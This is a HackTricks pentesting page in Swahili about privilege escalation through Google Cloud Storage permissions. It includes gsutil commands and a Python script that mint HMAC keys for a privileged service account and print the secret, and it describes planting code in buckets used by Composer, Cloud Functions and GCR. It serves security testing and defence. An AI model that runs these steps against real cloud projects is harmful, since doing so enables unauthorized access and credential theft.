GCP - Storage Privesc

Support HackTricks

Storage

Basic Information:

GCP - Storage Enum

storage.objects.get

Ruhusa hii inakuwezesha kupakua faili zilizohifadhiwa ndani ya Cloud Storage. Hii inaweza kukuwezesha kupandisha mamlaka kwa sababu katika baadhi ya matukio taarifa nyeti huhifadhiwa hapo. Zaidi ya hayo, baadhi ya huduma za GCP huhifadhi taarifa zao katika ndoo:

  • GCP Composer: Unapounda Mazingira ya Composer, kanuni za DAG zote zitahifadhiwa ndani ya ndoo. Kazi hizi zinaweza kuwa na taarifa za kuvutia ndani ya kanuni zao.

  • GCR (Container Registry): Picha za kontena huhifadhiwa ndani ya ndoo, ambayo ina maana kwamba ikiwa unaweza kusoma ndoo hizo utaweza kupakua picha na kutafuta leaks na/au msimbo wa chanzo.

storage.objects.setIamPolicy

Unaweza kujipa ruhusa ya kudhulumu yoyote ya matukio ya awali ya sehemu hii.

storage.buckets.setIamPolicy

Kwa mfano wa jinsi ya kubadilisha ruhusa kwa kutumia ruhusa hii angalia ukurasa huu:

GCP - Public Buckets Privilege Escalation

storage.hmacKeys.create

Kipengele cha "interoperability" cha Cloud Storage, kilichoundwa kwa ajili ya mawasiliano ya msalaba wa wingu kama na AWS S3, kinahusisha kuunda funguo za HMAC kwa Akaunti za Huduma na watumiaji. Mshambuliaji anaweza kutumia hii kwa kuunda funguo za HMAC kwa Akaunti ya Huduma yenye mamlaka ya juu, hivyo kupandisha mamlaka ndani ya Cloud Storage. Ingawa funguo za HMAC zinazohusishwa na watumiaji zinaweza kupatikana tu kupitia console ya wavuti, funguo za ufikiaji na siri zinabaki kupatikana milele, zikiwa na uwezo wa kuhifadhi upatikanaji wa akiba. Kwa upande mwingine, funguo za HMAC zinazohusishwa na Akaunti za Huduma zinapatikana kupitia API, lakini funguo zao za ufikiaji na siri hazipatikani baada ya kuundwa, kuongeza tabaka la ugumu kwa upatikanaji wa kudumu.

# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance

## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
PROJECT_ID = '$PROJECT_ID'
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
import requests
import json
key = requests.post(
f'https://www.googleapis.com/storage/v1/projects/{PROJECT_ID}/hmacKeys',
params={'access_token': ACCESS_TOKEN, 'serviceAccountEmail': TARGET_SERVICE_ACCOUNT}
).json()
#print(json.dumps(key, indent=4))
print(f'ID: {key["metadata"]["accessId"]}')
print(f'Secret: {key["secret"]}')


# Configure gsutil to use the HMAC key
gcloud config set pass_credentials_to_gsutil false
gsutil config -a

# Use it
gsutil ls gs://[BUCKET_NAME]

# Restore
gcloud config set pass_credentials_to_gsutil true

Scripti nyingine ya kutekeleza kwa njia hii inaweza kupatikana hapa.

storage.objects.create, storage.objects.delete = Ruhusa za Kuandika Hifadhi

Ili kuunda kitu kipya ndani ya bakuli unahitaji storage.objects.create na, kulingana na nyaraka, unahitaji pia storage.objects.delete ili kubadilisha kitu kilichopo.

Kuvunja kwa kawaida kwa bakuli ambapo unaweza kuandika katika wingu ni katika kesi bakuli linaokoa faili za seva za wavuti, unaweza kuwa na uwezo wa kuhifadhi msimbo mpya ambao utatumika na programu ya wavuti.

Composer

Composer ni Apache Airflow inayosimamiwa ndani ya GCP. Ina vipengele kadhaa vya kuvutia:

  • Inafanya kazi ndani ya GKE cluster, hivyo SA ambayo cluster inatumia inapatikana na msimbo unaotembea ndani ya Composer

  • Inaweka msimbo katika bakuli, kwa hivyo, mtu yeyote mwenye ruhusa ya kuandika juu ya bakuli hiyo atakuwa na uwezo wa kubadilisha/kutia msimbo wa DGA (msimbo ambao Apache Airflow itatekeleza) Kisha, ikiwa una ruhusa ya kuandika juu ya bakuli ambayo Composer inatumia kuhifadhi msimbo, unaweza privesc kwa SA inayotembea katika GKE cluster.

Cloud Functions

  • Msimbo wa Cloud Functions unahifadhiwa katika Hifadhi, hivyo kufuta na kuandika tena, inawezekana kutekeleza msimbo wa kiholela.

App Engine

  • Msimbo wa chanzo wa App Engine unahifadhiwa katika bakuli, kufuta msimbo inaweza kuwa inawezekana kutekeleza msimbo wa kiholela. HII HAIWEZEKANI

  • Inaonekana kama tabaka za kontena zinahifadhiwa katika bakuli, labda kubadilisha hizo?

GCR

  • Google Container Registry inahifadhi picha ndani ya bakuli, ikiwa unaweza kuandika hizo bakuli unaweza kuwa na uwezo wa kuhamasisha kwa upande ambapo hizo bakuli zinatumika.

  • Bakuli inayotumiwa na GCR itakuwa na URL inayofanana na gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com (Subdomain za kiwango cha juu zimeelezwa hapa).

Marejeo

Support HackTricks

Last updated